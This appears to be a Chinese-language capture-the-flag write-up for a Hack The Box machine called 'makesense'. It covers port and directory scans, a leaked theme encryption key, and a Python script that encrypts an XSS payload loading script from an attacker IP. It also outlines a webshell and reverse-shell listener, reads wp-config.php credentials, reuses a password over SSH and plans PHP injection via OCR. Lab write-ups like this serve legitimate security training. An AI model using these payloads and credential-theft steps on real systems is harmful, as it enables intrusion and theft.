sudo nmap -sS -p- -T4 --min-rate 5000 -n -Pn -oA nmaps/makesense.htb 10.129.246.24

PORT    STATE SERVICE
22/tcp  open  ssh
443/tcp open  https
~/T/WhatWeb ❯ ./whatweb https://10.129.246.24:443                                                                                                 15:57:20
https://makesense.htb/ [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], Email[info@webagency.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[10.129.246.24], JQuery[3.7.1], MetaGenerator[WordPress 7.0], Script[application/json,module], Title[Agency LLC], UncommonHeaders[link], WordPress[7.0]

wordpress

feroxbuster -u https://10.129.246.24:443 -w ./SecLists/Discovery/Web-Content/raft-small-directories.txt -k



301      GET        9l       28w      318c https://10.129.246.24/scripts => https://10.129.246.24/scripts/
301      GET        9l       28w      329c https://10.129.246.24/wp-content/uploads => https://10.129.246.24/wp-content/uploads/

CleanShot-Y4laBrRRvHPrpcHq4RdOkkJd@2x

有 gitignore

CleanShot-XjJgrUTDT3PYy27KMeb0uB2N@2x

# Python virtual environment
venv/
env/
ENV/

# Python cache
__pycache__/
*.py[cod]
*$py.class
*.so
.Python

# Distribution / packaging
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg

# PyInstaller
*.manifest
*.spec

# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/

# Jupyter Notebook
.ipynb_checkpoints

# pyenv
.python-version

# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/

# IDEs
.vscode/
.idea/
*.swp
*.swo
*~

# OS
.DS_Store
Thumbs.db

# WordPress
wp-content/cache/
wp-content/database/
wp-content/upgrade/
wp-content/backup-db/
wp-content/advanced-cache.php
wp-content/wp-cache-config.php

# Model files - excluded from repository (download via scripts)
*.gguf
*.bin
*.safetensors

# AI models - only exclude the large model files, keep transformers.js library
wp-content/ai-models/models/

# HuggingFace cache (Whisper models auto-download here)
.cache/huggingface/

CleanShot-FZ3VQFarLSF78B969nzr7GsT@2x

CleanShot-SYi03iSvDzuvZqmqotrH1Uhu@2x

var webagency_ajax = {
    "ajax_url": "https://makesense.htb/wp-admin/admin-ajax.php",
    "nonce": "ec2bd70b71",
    "theme_url": "https://makesense.htb/wp-content/themes/webagency",
    "site_url": "https://makesense.htb"
};
//# sourceURL=whisper-wrapper-js-extra
Action 作用
submit_contact_form 提交联系表单,返回 post_id
save_voice_raw 上传原始录音,返回 post_id
save_voice_results 提交加密后的 {transcription, summary}

CleanShot-4980XhBnomaGw4EdhS7BSMlh@2x

/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js 内泄露ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI'

// whisper-wrapper.js:463
async encryptPayload(payload) {
        const encoder = new TextEncoder();
        const data = encoder.encode(JSON.stringify(payload));

        // Derive key from password using SHA-256
        const keyMaterial = await crypto.subtle.digest(
            'SHA-256',
            encoder.encode(ENCRYPTION_KEY)
        );

        const key = await crypto.subtle.importKey(
            'raw',
            keyMaterial,
            { name: 'AES-GCM' },
            false,
            ['encrypt']
        );

        // Generate random IV (12 bytes for AES-GCM)
        const iv = crypto.getRandomValues(new Uint8Array(12));

        // Encrypt
        const encrypted = await crypto.subtle.encrypt(
            { name: 'AES-GCM', iv: iv },
            key,
            data
        );

        // Combine IV + ciphertext (tag is appended automatically by WebCrypto)
        const combined = new Uint8Array(iv.length + encrypted.byteLength);
        combined.set(iv, 0);
        combined.set(new Uint8Array(encrypted), iv.length);

        // Convert to base64
        let binary = '';
        combined.forEach(byte => binary += String.fromCharCode(byte));
        return btoa(binary);
    }

甚至 js 中有 XSS 的注释

//whisper-wrapper.js:503
/**
     * Map spoken words to their symbol equivalents for XSS injection
     * @param {string} text - The text to apply mapping to
     * @returns {string} Text with symbols replaced
     */
    applySymbolMapping(text) {
        if (!text) return '';

        const mappings = {
            'open bracket': '<',
            'close bracket': '>',
            'bracket': '<', // Default single 'bracket' to opening
            'slash': '/',
            'back slash': '\\',
            'quote': "'",
            'double quote': '"',
            'open parenthesis': '(',
            'close parenthesis': ')',
            'parenthesis': '(',
            'dot': '.',
            'period': '.',
            'comma': ',',
            'colon': ':',
            'semi colon': ';',
            'semicolon': ';',
            'equal': '=',
            'equals': '=',
            'dash': '-',
            'hyphen': '-',
            'underline': '_',
            'underscore': '_',
            'plus': '+',
            'asterisk': '*',
            'star': '*',
            'ampersand': '&',
            'percent': '%',
            'dollar': '$',
            'hash': '#',
            'at': '@',
            'exclamation': '!',
            'question': '?'
        };

        let result = text.toLowerCase();

        // Sort keys by length descending to match longer phrases first (e.g. "open bracket" before "bracket")
        const sortedKeys = Object.keys(mappings).sort((a, b) => b.length - a.length);

        for (const key of sortedKeys) {
            // Use word boundary to avoid partial matches
            const regex = new RegExp(`\\b${key}\\b`, 'gi');
            result = result.replace(regex, mappings[key]);
        }

        // Clean up spaces around symbols that might have been introduced by transcription
        // e.g. "< script >" -> "<script>"
        result = result.replace(/\s*([<>\/()[\]{}.,:;=\-_+*&%$#!?])\s*/g, '$1');

        return result;
    }

初步攻击链:

1. 通过 submit_contact_form 获得一条可写入的记录 post_id
2. 构造恶意 payload,利用 js 中泄露的 ENCRYPTION_KEY 加密
3. 通过 save_voice_results 将加密后的恶意 payload 写入记录
4. 服务端自动解密并存储,等待 XSS 被触发
#!/usr/bin/env python3
import base64
import hashlib
import json
import os

from Crypto.Cipher import AES

ENCRYPTION_KEY = "bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI"

xss_payload = '<script src="http://http://10.10.16.234:9999/xss.js"></script>'

payload_data = {"transcription": xss_payload, "summary": xss_payload}
key_material = hashlib.sha256(ENCRYPTION_KEY.encode("utf-8")).digest()

iv = os.urandom(12)

cipher = AES.new(key_material, AES.MODE_GCM, nonce=iv)
ciphertext, tag = cipher.encrypt_and_digest(json.dumps(payload_data).encode("utf-8"))

combined = iv + ciphertext + tag

encrypted_payload = base64.b64encode(combined).decode("utf-8")

print("[+] Encrypted payload:")
print(encrypted_payload)

静待 XSS 触发后 登录进 WordPress 后台

通过插件上传 webshell 弹回来 尝试横向

/tmp ❯ nc -lv 9998
bash: cannot set terminal process group (1408): Inappropriate ioctl for device
bash: no job control in this shell

www-data@makesense:/var/www/html/wp-admin$ cat /var/www/html/wp-config.php
cat /var/www/html/wp-config.php
<?php
// SQLite database configuration
define( 'DB_DIR', __DIR__ . '/wp-content/database/' );
define( 'DB_FILE', '.ht.sqlite' );

// Dummy MySQL settings (required but not used with SQLite)
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );

$table_prefix = 'wp_';
define( 'WP_DEBUG', false );

define('AUTH_KEY',         '%88$_8C0xYR s^9jz;F epY,CO|+Up#ZFIdRS&Gqd~5O/|<^7DmLtEm=SjV|jmWZ');
define('SECURE_AUTH_KEY',  'BD-p*m6hvWAGGBDg%_UC,|>};`C2<1uK>*x!h.Wf*dE;lbhaQVbHw+uc@6OfH>B%');
define('LOGGED_IN_KEY',    ';2fn^sP8F`HK0g,8C&2ar})EifGz@,5Z1{IoDD+CzOT@3w[g~*aM-+=zWcxGBYk2');
define('NONCE_KEY',        's>>f8%soM5P=D$J9UXV-kF]lKZ92.KF%FDS#+! ;(A|C9kMWT(=A>99->-$$>UvU');
define('AUTH_SALT',        'V 0X(1n-@p&})rQpQB_mEax]D9Z*;iM+23&b]!53._;,).:Lj?1ky56*Vaa~KF(B');
define('SECURE_AUTH_SALT', '-{[x4pgl %S5{_s}nE!%H8,05AO_699M4_[mLt^tVC$Kh4;s|n8~O<CSE4#uPWN.');
define('LOGGED_IN_SALT',   'wUxZI^1#)4o)C1KJ8a5o-k{V3L)agi|fofV0SzuSUI;1k%1 !9Q!P@-*j8Y_j%$;');
define('NONCE_SALT',       'j #rMhd[olj2$j8|QAF7L8rR-D kf&gs,:oX4py6x?6V3|oJ?[b~h,[~3uhH.|X%');

if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', __DIR__ . '/' );
}

define( 'WP_SQLITE_PLUGIN', true );
require_once ABSPATH . 'wp-settings.php';

www-data@makesense:/var/www/html/wp-admin$ ls /home
ls /home
admin
walter

找到 walter:JbhHDAEgXvri3 ssh登录后提权

CleanShot-HjByUF3fJ0jfKxuoIE2BNuhf@2x

穿出来看一下

CleanShot-UCYiYXYN5Gh8e5x4kyYKWUn5@2x

复用密码登录 是一个画布OCR程序

CleanShot-7Kz1ecYYuYANnOoWfWjqoF17@2x

对字体有要求 反正手写过不了

CleanShot-0cbLKwcR9u6nVIXpasxm7jCP@2x

ocr正确识别后会响应

参数 作用
ocr_id ID
filename 要保存的文件名
output-text 识别结果

构造php命令再保存就可以了